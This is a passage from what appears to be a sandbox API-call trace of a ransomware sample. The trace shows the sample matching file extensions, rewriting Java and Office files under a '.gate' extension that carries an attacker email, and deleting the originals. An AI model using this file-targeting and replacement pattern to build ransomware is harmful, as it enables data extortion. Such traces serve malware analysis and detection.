Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0298.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0298.272] lstrlenW (lpString=".doc") returned 4 [0298.272] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString=".docx") returned 5 [0298.272] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0298.272] lstrlenW (lpString=".pdf") returned 4 [0298.272] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString=".xls") returned 4 [0298.272] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString=".xlsx") returned 5 [0298.272] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0298.272] lstrlenW (lpString=".ppt") returned 4 [0298.272] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0298.272] lstrlenW (lpString=".zip") returned 4 [0298.272] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString=".rar") returned 4 [0298.272] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString=".bz2") returned 4 [0298.272] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString=".7z") returned 3 [0298.272] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0298.272] lstrlenW (lpString=".dbf") returned 4 [0298.272] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0298.272] lstrlenW (lpString=".1cd") returned 4 [0298.272] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0298.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0298.273] lstrlenW (lpString=".jpg") returned 4 [0298.273] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0298.273] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3492573) returned 1 [0298.273] CloseHandle (hObject=0x4f4) returned 1 [0298.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0298.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0298.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0298.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0298.273] lstrlenW (lpString=".doc") returned 4 [0298.274] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0298.274] lstrlenW (lpString=".docx") returned 5 [0298.274] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0298.274] lstrlenW (lpString=".pdf") returned 4 [0298.274] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0298.274] lstrlenW (lpString=".xls") returned 4 [0298.274] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0298.274] lstrlenW (lpString=".xlsx") returned 5 [0298.274] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0298.274] lstrlenW (lpString=".ppt") returned 4 [0298.274] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0298.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0298.274] lstrlenW (lpString=".zip") returned 4 [0298.274] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0298.274] lstrlenW (lpString=".rar") returned 4 [0298.274] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0298.274] lstrlenW (lpString=".bz2") returned 4 [0298.274] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0298.274] lstrlenW (lpString=".7z") returned 3 [0298.274] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0298.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0298.274] lstrlenW (lpString=".dbf") returned 4 [0298.274] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0298.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0298.274] lstrlenW (lpString=".1cd") returned 4 [0298.274] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0298.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0298.274] lstrlenW (lpString=".jpg") returned 4 [0298.274] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0298.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0298.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0298.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0298.275] lstrlenW (lpString=".doc") returned 4 [0298.275] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0298.275] lstrlenW (lpString=".docx") returned 5 [0298.275] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0298.275] lstrlenW (lpString=".pdf") returned 4 [0298.275] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0298.275] lstrlenW (lpString=".xls") returned 4 [0298.275] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0298.275] lstrlenW (lpString=".xlsx") returned 5 [0298.275] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0298.275] lstrlenW (lpString=".ppt") returned 4 [0298.275] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0298.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0298.275] lstrlenW (lpString=".zip") returned 4 [0298.275] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0298.275] lstrlenW (lpString=".rar") returned 4 [0298.275] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0298.276] lstrlenW (lpString=".bz2") returned 4 [0298.276] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0298.276] lstrlenW (lpString=".7z") returned 3 [0298.276] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0298.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0298.276] lstrlenW (lpString=".dbf") returned 4 [0298.276] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0298.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0298.276] lstrlenW (lpString=".1cd") returned 4 [0298.276] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0298.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0298.276] lstrlenW (lpString=".jpg") returned 4 [0298.276] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0298.278] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.279] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0298.508] GetLastError () returned 0x0 [0298.508] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xfd6, lpOverlapped=0x0) returned 1 [0298.615] WriteFile (in: hFile=0x554, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xfe0, lpOverlapped=0x0) returned 1 [0298.704] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.704] WriteFile (in: hFile=0x554, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0298.704] SetEndOfFile (hFile=0x554) returned 1 [0298.704] CloseHandle (hObject=0x554) returned 1 [0298.710] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.710] SetEndOfFile (hFile=0x4f4) returned 1 [0298.729] CloseHandle (hObject=0x4f4) returned 1 [0298.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0298.730] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0298.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0298.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0298.730] lstrlenW (lpString=".doc") returned 4 [0298.730] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0298.730] lstrlenW (lpString=".docx") returned 5 [0298.730] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0298.730] lstrlenW (lpString=".pdf") returned 4 [0298.730] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0298.730] lstrlenW (lpString=".xls") returned 4 [0298.730] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0298.730] lstrlenW (lpString=".xlsx") returned 5 [0298.730] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0298.730] lstrlenW (lpString=".ppt") returned 4 [0298.730] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0298.731] lstrlenW (lpString=".zip") returned 4 [0298.731] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0298.731] lstrlenW (lpString=".rar") returned 4 [0298.731] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0298.731] lstrlenW (lpString=".bz2") returned 4 [0298.731] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0298.731] lstrlenW (lpString=".7z") returned 3 [0298.731] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0298.731] lstrlenW (lpString=".dbf") returned 4 [0298.731] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0298.731] lstrlenW (lpString=".1cd") returned 4 [0298.731] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0298.731] lstrlenW (lpString=".jpg") returned 4 [0298.731] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0298.733] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1253) returned 1 [0298.733] CloseHandle (hObject=0x4f4) returned 1 [0298.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0298.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0298.734] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.734] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.734] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0298.734] GetLastError () returned 0x0 [0298.734] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4e5, lpOverlapped=0x0) returned 1 [0299.125] WriteFile (in: hFile=0x550, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4f0, lpOverlapped=0x0) returned 1 [0299.126] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.126] WriteFile (in: hFile=0x550, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0299.126] SetEndOfFile (hFile=0x550) returned 1 [0299.126] CloseHandle (hObject=0x550) returned 1 [0299.126] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.126] SetEndOfFile (hFile=0x4f4) returned 1 [0299.132] CloseHandle (hObject=0x4f4) returned 1 [0299.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.132] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0299.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0299.133] lstrlenW (lpString=".doc") returned 4 [0299.133] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString=".docx") returned 5 [0299.133] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0299.133] lstrlenW (lpString=".pdf") returned 4 [0299.133] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString=".xls") returned 4 [0299.133] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString=".xlsx") returned 5 [0299.133] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0299.133] lstrlenW (lpString=".ppt") returned 4 [0299.133] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0299.133] lstrlenW (lpString=".zip") returned 4 [0299.133] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString=".rar") returned 4 [0299.133] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString=".bz2") returned 4 [0299.133] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString=".7z") returned 3 [0299.133] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0299.133] lstrlenW (lpString=".dbf") returned 4 [0299.133] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0299.133] lstrlenW (lpString=".1cd") returned 4 [0299.133] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0299.134] lstrlenW (lpString=".jpg") returned 4 [0299.134] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0299.134] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8400) returned 1 [0299.134] CloseHandle (hObject=0x4f4) returned 1 [0299.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0299.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.134] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0299.135] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.135] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.135] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0299.135] GetLastError () returned 0x0 [0299.135] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x20d0, lpOverlapped=0x0) returned 1 [0299.348] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x20e0, lpOverlapped=0x0) returned 1 [0299.349] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.349] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0299.349] SetEndOfFile (hFile=0x528) returned 1 [0299.349] CloseHandle (hObject=0x528) returned 1 [0299.350] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.350] SetEndOfFile (hFile=0x4f4) returned 1 [0299.522] CloseHandle (hObject=0x4f4) returned 1 [0299.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.522] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0299.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0299.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0299.523] lstrlenW (lpString=".doc") returned 4 [0299.523] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0299.523] lstrlenW (lpString=".docx") returned 5 [0299.523] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0299.523] lstrlenW (lpString=".pdf") returned 4 [0299.523] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0299.523] lstrlenW (lpString=".xls") returned 4 [0299.523] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0299.523] lstrlenW (lpString=".xlsx") returned 5 [0299.523] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0299.523] lstrlenW (lpString=".ppt") returned 4 [0299.523] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0299.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0299.524] lstrlenW (lpString=".zip") returned 4 [0299.524] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0299.524] lstrlenW (lpString=".rar") returned 4 [0299.524] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0299.524] lstrlenW (lpString=".bz2") returned 4 [0299.524] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0299.524] lstrlenW (lpString=".7z") returned 3 [0299.524] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0299.524] lstrlenW (lpString=".dbf") returned 4 [0299.524] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0299.524] lstrlenW (lpString=".1cd") returned 4 [0299.524] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0299.524] lstrlenW (lpString=".jpg") returned 4 [0299.524] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0299.524] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10562) returned 1 [0299.524] CloseHandle (hObject=0x4f4) returned 1 [0299.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0299.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0299.525] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.525] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.526] GetLastError () returned 0x0 [0299.526] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2942, lpOverlapped=0x0) returned 1 [0299.598] WriteFile (in: hFile=0x568, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2950, lpOverlapped=0x0) returned 1 [0299.599] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, 